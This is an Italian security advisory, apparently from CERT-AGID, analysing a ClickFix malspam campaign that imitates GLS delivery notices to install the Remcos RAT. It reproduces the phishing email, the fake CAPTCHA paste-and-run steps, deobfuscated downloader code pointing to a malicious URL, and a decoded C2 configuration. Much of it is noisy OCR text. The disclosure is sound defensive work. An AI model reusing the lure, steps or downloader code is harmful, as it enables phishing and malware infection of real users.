Analisi di Remcos RAT diffuso in Italia con campagna
ClickFix a tema GLS
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ClickFix GLS remcos

Indirizzo non valido, compila il modulo 8900335 - Mozilla Thunderbird
File Edit View Go Message Tools Help
&7 Get Messages v & Write @ Tag v
From Team Gls <support@srman.net> @ & Reply| ¢ Reply All v || @ Forward More v
To ) 11/6/25, 16:15

Reply to suppor@qglsitaly.gls @

Subject Indirizzo non valido, compila il modulo 8900395

Gentile Cliente,

Ciao, Abbiamo provato a chiamarti, ma il telefono & occupato. Da 2 giorni il nostro autista cerca di trovarti sul posto per consegnarti il pacco
arrivato a tuo nome. Purtroppo senza successo.

0Oggi & 'ultimo giorno utile per scegliere una nuova data di consegna.

Ho allegato il modulo da compilare con una nuova data di consegna. Ti preghiamo di compilarlo oggi stesso, altrimenti ti rispediremo il
pacco.

Cordiali saluti,
Servizio Clienti

GLS-TEAM
> [ 1 attachment: ModuloGLS.xhtml 25,1 KB i———— & Save v
Email utilizzata per la campagna malspam

E in corso una campagna malspam, diffusa su larga scala, che utilizza il brand GLS come esca
per indurre gli utenti a compilare un presunto modulo di riconsegna.

Le email presentano come oggetto “Indirizzo non valido, compila il modulo 8900395” e
contengono un testo che simula una comunicazione del servizio clienti GLS, segnalando un
problema nella consegna di un pacco e invitando a compilare un allegato.

L’allegato, un file XHTML, contiene codice JavaScript offuscato mediante operazioni X0R che, una
volta decodificato, reindirizza I'utente verso il dominio malevolo ospitato sulla piattaforma Netlify.
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C F e Q@ @ O 8 gsexpresscioudfare netlify app/t E F b+ o 2 @ 59 2 8 8 =

Non @ stato possibile consegnare il pacco.
Informazioni di riepiloge del pacchetto:

Informazioni sulla spedizione: B

Numero di riferimento;

Numiis del pacchatio 11123529187
Programma una nuovs consegna
Unicode 2773825
Numero di riferimento del cliente Pacchetio espresso
Dettagli di riepiloge del pacchetto (Fare clic qui per i dettagli) -]

Si prega di pianificarne una NUoYAa CONSEQNa entro ke prossime 24 one per evitare che i PACCO Venga restituito al mitlente onginale

& QO 8 gls-expresscloudfare.netlify.app/#token-verification:G8CMSUE3Co1c-M7pFL1QMBETB-R2YoDB7X4VUO-KTnrSVLQjyOm-4SqyMqiRQqI0-GHIP|PFppHS . $%

ek

i.F ation Steps

To better prove you are not a robot, please:
1. Press & hold the windows Key &+ R
2. In the verification window, press Ctrl + V
3. Press Enter on your keyboard to finish.
You will observe the following text:

ID: CBEFDWHSM22MGQPMCPWULUWYSJE4ABYATHRNS TWOSFLIFVED

Perform the skeps above to finish
wverification.

Il sito replica I'aspetto del portale GLS e sfrutta la tecnica ClickFix: tramite istruzioni di ingegneria
sociale induce la vittima a copiare e incollare comandi nel terminale che scaricano o eseguono
codice dannoso compromettendo il sistema.
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Gia osservata in campagne recenti, la tecnica usa un falso CAPTCHA per convincere l'utente a
compiere azioni apparentemente legittime (incollare comandi o eseguire scorciatoie) che in realta
attivano codice dannoso. L'esecuzione manuale rende la campagna piu difficile da intercettare e

neutralizzare.

Seguendo le istruzioni del falso CAPTCHA viene eseguito un comando mshta che richiama un file
.hta remoto passando un parametro che probabilmente funge da identificativo. Dall’analisi delle
email, 'TURL al file HTA rimane costante mentre il parametro varia puntualmente.

Il file HTA risulta totalmente offuscato. Il codice viene decodificato all’apertura tramite una
funzione X0R con chiave inclusa nello script.

Recipe om 3
From Base64 e n
Alphabet
A-Za-z0-9+/= - Remove non-alphabet chars
[ strict mode
XOR ®n
Key Scheme
FgTypHHvmuBddz ~ UTF8~ Standard ] Null preserving
vy
BAKE!
STEP '& Auto Bake

Input + O30 8 =

bnVjdTKUBiMTQycWW2MdLgANCgg1HRUBAFt NI TCWAXouOZ08PxkdPAZFX1gYYwauBQgVRz sXUBBhGAkaNRAEA]R2bGIAN 1dSVgBkWxdyaGIXMAMV]
hwCaHpGXUZWV R0V 1BGekNaLDoYVz0QQ] EANRAMCGO1GAI0KxkDEy SDRGIETUZ1TFpPTARdD LcQKy@1BXBcSHSbH290XU1SLgAHNGE 7T jWCHUh1XR
F2BFgvLDUeDAQUNVSQYZhRGRLSByS3SywpJ 0t aRHVRWDIOGC0O UBPOEdBWVAUTROIGYMIAWBEF y@hBFQANBNYOX0Tanc1GDASFTOXF2B7QERDMRE
6KRAQITSLUL15VgBkXhdoeQuiFw5 1IhgeLCcbRVX SEASIECY LOWESXGNFHYCCVTAL Mx4NAUSMVVE+YVZGVWVKASTBFWBT TFpPAQVYOBJIZNZNhAXET
AnhzUGhoVhkeLWELLxBghGVmBLRF FB57V34tMDUeAgoOLhx6PikETQYqAQg2RGASOWKNTXQVRTOBUhSWI xOGBRNSX ichKWQEBTZKNZIBNiBYRUF 1T
xdDABFELH18YWEDEHQAEZWhAAG tDQYOPWCUZHI/

GROBBKUIGVBtHygbBjUe IwBVIQCUBXAhEENZX1ABNBSaGZAbQQQWQyt 5FFcQDgIAFVANMAYMGYYhCiWNKCM7ARBBISVFIhSZ ICppUEYy ThkpvWahT
WeDIXZELGUOKZAYPAYSEXFpVEMINDENAhIPAF IQbxQqS LVpRAC1CjwIMKICB] KTXzUaUnhTNx YRRhQhGhME OWUGEDYMCZSEZ2xySOF LX1kedDpSNz
EUEGMPCiQVFSUtGBKUNGOLNBAGYXUjKCsQIHQQV3UaeQUyNyMkADA/Bmgk LCEHREW2ATS / TUweCiETULASUZM/
KAUQEKkSeDXE6aBsIASOLACLEZ2w0Z L pPdVYeelcKFmRS L5bWm LEUBWBMZOVC1SEF 1SNCQY4WisQINQXI34MF2F fLQe TPQ8YaBSFAXELEXd6IQOF)
kVaUmhLDGLKCn5k FH1DRkdBANpoaFZNVWIERDQFNy LvTCkbIx9fM1 IRMTY SNASHFRCWFC1gT1pZdvdTbVx2e2dAQ 1t 5TgVATwdqdUt XQ8ZHAF 1Qac

SZAAUTEAQ4CDI2dUStBiSSXIMEFxsJaltDIwsAWSMEOgAIBZFDSFBEEMX1TFPPARN JMRRCNZ X 7TVWUTCTCNGSCmXKRVOWSEekREDHVMWKI1VhEGBUS
me 14860 = 1 [ 186-278 (82 selected) Fr Raw Bytes & LF

Output Ba0m:

// Universal Downloader - Pure JavaScript
// Works on Windows XP, 7, 8, 10, 11, Server 2003-2022

// Configuration
var config = {
url: "https://bo' + 'ldcleaning' + 'solutionsa' + '"tl.com/ver' + 'ify/img',
filename: Math.random().toString(36).substring(2, 10) + Math.random().toString(36).substring(2, 6) + '.exe',
silent: true,
timeout: @

e 18544 = 311 @ 8sms Ty Raw Byres & LF

Codice deoffuscato con Cyberchef

Il payload ha lo scopo di scaricare da un dominio secondario un file binario e avviarlo sul sistema.

All'analisi preliminare del file binario si rileva la presenza di una risorsa denominata SETTINGS,
elemento tipico riscontrato nei sample di Remcos RAT. Questo suggerisce che il binario possa
essere una build di Remcos e quindi finalizzato a controllo remoto, raccolta dati e
caricamento/avvio di payload secondari.
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Dall'analisi della risorsa SETTINGS emerge chiaramente la tipica configurazione di Remcos, una
tra le minacce piu diffuse nel panorama italiano insieme a Formbook.

-
[ open

00000000
00000010
0BeOE020
0BO00030
00000040
00000050
elefelolelols]e)
eleleleleloptt)
00000080
elelelolelole]e)
DBOOBLAD
elelefelelo] 1t
000000Co
000000DO
DBOOOOED
DBOOOOFD
00000100
0Bee0110
0Be00120
00000130
00000140
0Be00150
0Be00160
00000170
00000180

00eeE190
ARARARAT AR

Offset: BxA3; BxA3 bytes from Bx1 to BxXA3 selected

Configurazione Remcos RAT cifrata

/ SETTINGS Q = _ o 9
A3|[E6 1B B8 6C 01 88 E4 BB 54 90 9C 82 F7 08 82| ....l....T......
04 AE 9E 55 54 13 46 20 01 Al CC 73 55 B8 41 8B| ...UT.F ...sU.A.
DE E3 E8 3F 26 14 CC DA B9 A5 38 9E OA 44 A6 C6| ...7&..... 8..D..
B2 12 F3 89 27 AB DB CE E1 DF 14 0B 98 43 81 98|~ [KeyRC4]} -C. .
06 EB 70 D4 4F 02 B6 23 17 ED 2C 65 C4 57 F7 9F| ..p.0..#..,e.W..
98 36 75 B9 7B AE CD AE C6 7A 8D 90 50 OA B6 2B| .6u.{....z..P..+
8E B9 2D 3D 9B A9 76 83 5A 29 2D OFE 24 BE A3 A8| ..-=..v.Z)-.5...
A6 34 87 3D EO 3A 94 86 6E 8C Al 74 87 9F 8F 12| .4.=.:..n..t....
64 48 EB E1 FO EA 50 E3 FB 13 CD D9 4A 8E E2 63| dH....P..... J..c
43 6B E3 ©D 16 73 C1 7F 8C F5 8F 48 FA 16 50 02| Ck...s..... H..P.
E6 D8 CF C P B P Vo ).1
7F 30 48 B5 CA F2 1C FC D4 4D 86 93 EB F1 B3| .OH....... M.....
3F 82 2B 69 7F C7 C6 C6 D2 D4 65 85 60 49 E9 80| ?.+i...... e. I..
00 OD EF E8 11 C6 96 12 DO 9F A4 AF 2F 41 B6 7A| ............ W
24 A6 41 E6 B3 C7 7C BF 26 OD F1 OC 69 8F 4A 9E| $.A...|.&...1i.J.
AA A7 25 38 9D 87 DB 57 D6 OC 1A FF 9F 39 EA 58| ..%8...W..... 9.X
B5 5E 91 6B 86 79 DB 73 3E 28 BO C6 5C 48 43 60| .~.k.y.s>(..\HC"
87 45 66 F6 D5 23 C9 CD 30 62 56 31 ED 92 98 4AC |5+ [Batadinirvpk|l
9B E9 C1 OA 50 B8 1E B3 D1 35 67 44 8B 46 A3 2B| ....P....5gD.F.+
DD D1 5A 11 64 C2 33 D6 AE C5 34 40 58 2D 44 71| ..Z.d.3...4@X-Dq
B5 28 OB 17 43 3F D8 (6 79 EA 7A C2 6C B8 35 E5| .(..C?..y.z.l.5.
73 BE 1E 5C AF AF B9 3A DO F8 32 44 9C 99 AC 28| s..\...:..2D...(
EE BO AE C3 BE 64 BB 12 7D 09 BF 3B 6C 29 F2 5B| ..... d..}..;0). [
53 B7 EO 30 D2 BD D4 FD CO C9 B4 4A 2C 92 6E B2| S..0....... J,.n.
OA BC 35 4F F1 05 9B 20 7E 52 3F 32 54 F5 54 82| ..50... ~R?2T.T.
99 6F 1C A5 2D 96 4D 8A B9 81 F3 02 10 39 C5 E3| .o..-.M...... 9..
T2 88 77 N1 AT 77 1R R&8 AR AA AR 17 A AR AF N e r G F F
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Una volta estratti tutti i valori utili, 'analisi tramite CyberChef consente di decodificare la risorsa
SETTINGS e identificare i dettagli di configurazione rilevanti (C2, agent ID, intervalli, etc.), utili per il
blocco tramite 10C e la correlazione degli incidenti.

591583db9713566T2029033171304891b5caf21cfcd44dB693ebf1b33f822b697fc7c6c6d2d465856049e980000defe811c69612dag adar2
f41b67a24a641e6b3c77chf260df10c698f4a%¢aaa725389d67db57d60c1af fof39ea58h55e916b8679db733e28hBc65c48436087456616d5
Passphrase Input format Output farmat 23c9cd30625631ed92984c3be9c10a50b81eb3d13567448b46a32bddd15a1164c233d6aec53440582d4471hb5280h17433Fd8c679earac26ch
e61bb86cO188e .. HEX~ Hex Latinl ESSeE?Sbeje50aﬂafb93ad@fa3za4sc99ac28eebaaec3be64bb127d@9bf3b6029f25b53b?eG30dzbddnfdcecgbAAazcs269b203bc3Edffles
9b207e52373254155482996F1ca52d964d8ab98173021839c5e3738872d147771bb845a4461cacabffcd4c960ch8761ef46a35f felcdd7fhe
ad57bc4a555dcab1549e6719784e83185c5506336e358d579c5492aac066ed5b17fb2488a994ba878d6fech78bcgec3abef1f75832b314c60

Remove null bytes o n 9491dec74enlebl474e7e262d1e2a0811af134b45d496c8bd21c4f77626de270cdBeaae22f6ef2abbcalf85899ded7f780b2aB836cd9281213F
4677295c4d78270a7f80cff6Td0355d09255291F9h806c259709594860bash75de2d242bh2h615738T0060675338cdd20T36be4b83180b214
ffe95c24c706760dc7abfh3chdeble21ae143309d87c7babof326e0cd073e43c9a98165395af1756f0573e6f668a0abT88efhaasf3392aefe
3a968ce1d031058448d91dcc@b2c42e9ae26b321bb3fbf49b3ffeeab@8c6cB8c6986272664T1c32a61cf41232253d00b0O28e6dOch867T5598
e086104801dd6c9f42¢816431T0d58fF7c905917a2fc6496db9ebe234b8c3287h202660ae55b36h0bTa46cd4f61a33316e2eci5effal9dd2e

58a67455d5ea9%caa2124d5523612b10896aedf97818321c6e391220917f F4bf44007c897ech6011bbb5bfE8a54b13ca3f919b067bdd5840e
e8e06664e36T5103e52eb17b3596b33bT89b2ddba51efce89ad3543c0e494fa0022137519ad908e8377021685185c80T6898b481fec6c0752

RC4 o n

mmc 2278 = 1 @ 354 Tr Raw Bytes ¢ LF
Output A0mE::
196.251.116. 250771 |~ |Virgindedia) woe [2 ] n e | [un ] [afnn | 2] | 100080 o | | 8] [Femeos exe] » | |
[T+ 18] [Rmc-ESHNAD]| - T8~~~ T8[ " [Logs.dat] = [ [ [ |17 [18] %o | [=nn] [+ 5] o] 6] -~ [Screenshots] - ||
S N e e e e i g et o ey | e el R T e N T Y R (TR
<[]~ [Remcos] e [ remcos | nes | [ | [+ | AC6OD5E2416023F3E2959EE2B2BEOEDF | | [+ |@+40s | Al : A>lie ] Jie 00UB
o *eHI=5000". 197001016000000Z" 20901231008000Z00Y 0" - F HI =" s * s HI= B L IE=246/8 004 |, , BBi@56Ue ~1poX.j20, i+
s0ie°Gs-aG-I%SMac!a--1[@
ot aHI= o IOF L 1 De 1At Af-EE-[8%>Z%, Diq]*M-@+ =t !@S%)A9" +EKE + EKWae ¢+ UwDoU [@91Z | s [@wsns, (. IOROINO] +=gxd
30Mams a4+ t¢E-£
wn®eHI=tn D9BN 1 IE= 2%/ 65004 |, , BBi®56Ue “iuaX:j0, jj+507 1e°CsaC T4SMac1as »1[ |~ [@+y0+ | “ininig” “LE+ENYoide e~
]
o *aH1=4100". 197001010000007 20901231000000ZB0Y D" 5 * sHI=" " * s HI=5% B sazE : TAWY{A4[ ) (TU«1UME™, Y=A1EQEA A d=

- A5+ AM*p=GA+"}dLEU; D" « - £[U\O

STEP & BAKE! Auto Bake -t tHIZWUHBES] 25 | OX1¥pG e Te ¢ 16143020 Y11 "t nniPees +i4» BUD( €rOALTL: KE YU~ |

- 1868 = 6 (@ 4ms Ty Raw Bytes < LF

Decodifica configurazione Remcos RAT

Conclusioni

Le campagne basate sulla tecnica ClickFix sono ormai una tendenza consolidata: da circa un
anno questo metodo viene sfruttato sempre piu spesso per distribuire malware attraverso inganni
che spingono l'utente a eseguire manualmente comandi dannosi.

In Italia la prima evidenza documentata risale al gennaio di quest’anno, quando la tecnica ¢ stata
utilizzata per diffondere Lumma Stealer, uno dei principali infostealer in circolazione. Da allora, pur
essendo stati osservati diversi tentativi, nel nostro Paese non si sono registrate campagne
massive mirate, a differenza di quanto accade in altri contesti internazionali dove il fenomeno &
molto piu diffuso.

I malware writer prediligono questa tecnica perché consente di aggirare i sistemi di sicurezza
automatici. Il codice malevolo non viene scaricato o eseguito direttamente, ma solo dopo
I'intervento dell’'utente. L'esecuzione manuale rende il rilevamento piu difficile per antivirus,
sandbox e sistemi EDR, offrendo un alto tasso di successo a fronte di uno sforzo tecnico
relativamente basso.

ClickFix rappresenta quindi un’evoluzione dell'ingegneria sociale applicata al malware delivery.
Non punta a sfruttare vulnerabilita del software, ma quella piu semplice e sempre attuale:
I'interazione umana.
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Indicatori di compromissione

I CERT-AGID ha gia condiviso i relativi loC con le organizzazioni accreditate al flusso per
favorirne la loro diffusione. Al fine di rendere pubbilici i dettagli di questa campagna si riportano di

seguito gli indicatori rilevati.

Link: Download IoC
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